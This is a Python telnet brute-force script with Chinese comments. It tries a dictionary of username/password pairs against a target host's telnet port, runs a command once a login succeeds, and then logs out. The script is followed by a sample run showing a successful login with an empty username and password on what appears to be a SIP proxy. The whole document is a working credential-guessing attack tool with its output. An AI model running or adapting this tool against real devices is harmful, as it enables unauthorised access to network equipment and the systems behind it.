#!/usr/bin/env python
# -*- coding:utf-8 -*-

import logging
import telnetlib
import time


# telnet登录认证相关
auth = {
 "user_prompt": b'Username:',      # 输入用户名提示
 "password_prompt": b'Password:',    # 输入密码提示
 "enter": b'\r',            # 回车
 "remote_enter": b'\n\r',
}


class TelnetClient(object):
  def __init__(self):
    self.tn = telnetlib.Telnet()    # Telnet client

  def login(self, ip, port, tel_dict):
    """
    telnet 登录
    :param ip: 目标ip
    :param port: 目标端口
    :param tel_dict: 密码字典
    :return: 登录成功(True) or 登录失败(False)
    """
    msg = 'trying to login {}:{} telnet service'.format(ip, port)
    print(msg)

    # telnet登录
    for username, password in tel_dict.items():

      # 创建一个telnet连接
      try:
        self.tn.open(ip, port)
      except:
        logging.warning('%s网络连接失败' % ip)
        return False, ''

      msg = 'try user:[{}], password:[{}]'.format(username, password)
      print(msg)

      # 登录尝试
      try:
        # 等待输入用户名提示user_prompt出现后，输入用户名
        self.tn.read_until(auth['user_prompt'], timeout=3)
        self.tn.write(username.encode('ascii') + auth['enter'])

        # 等待输入密码提示password_prompt出现后，输入密码
        self.tn.read_until(auth['password_prompt'], timeout=3)
        self.tn.write(password.encode('ascii') + auth['enter'])

        # 延时两秒再收取返回结果，给服务端足够响应时间
        time.sleep(2)

        # 获取登录结果, read_very_eager()获取到的是的是上次获取之后本次获取之前的所有输出
        command_result = self.tn.read_very_eager().decode('ascii')
        # print('===>', command_result)
        prompt, _ = command_result.split('->')
        # print('===>', prompt.strip())

        # 如果返回的结果中没有提示输入用户名，表示登录成功
        if auth['user_prompt'] not in command_result.encode('ascii'):
          print('登录成功')
          return True
        else:
          continue
      except:
        pass
    return False

  def execute_command(self, command):
    """
    执行一些命令
    :param command: 要执行的命令
    :return: None
    """
    try:
      self.tn.write(command.encode('ascii') + auth['enter'])
      time.sleep(2)
      # 获取命令结果
      command_result = self.tn.read_very_eager().decode('ascii')
      print('==>', command_result)
    except:
      print('something went wrong...')
      pass

  # 退出telnet，保留
  def logout_host(self):
    self.tn.write(b"bye\r")

if __name__ == '__main__':

  # 参数
  ip = '172.16.176.120'
  port = '2570'
  tel_dict = {'admin': 'admin', 'aaa': 'bbb', '': ''}

  # 登陆
  tn = TelnetClient()
  tn.login(ip, port, tel_dict)

  # 执行命令
  command = 'ver'
  tn.execute_command(command)

  # 退出
  tn.logout_host()

# python3 telnet_brute.py
trying to login 172.16.176.120:2570 telnet service
try user:[admin], password:[admin]
try user:[aaa], password:[bbb]
try user:[], password:[]
登录成功
==> ver
 Version :PAS_SIPPROXY_6.0.0.3.0.190831, Compile Time: 16:18:41, Feb 25 2020
Return value: 1
SipPrxoy->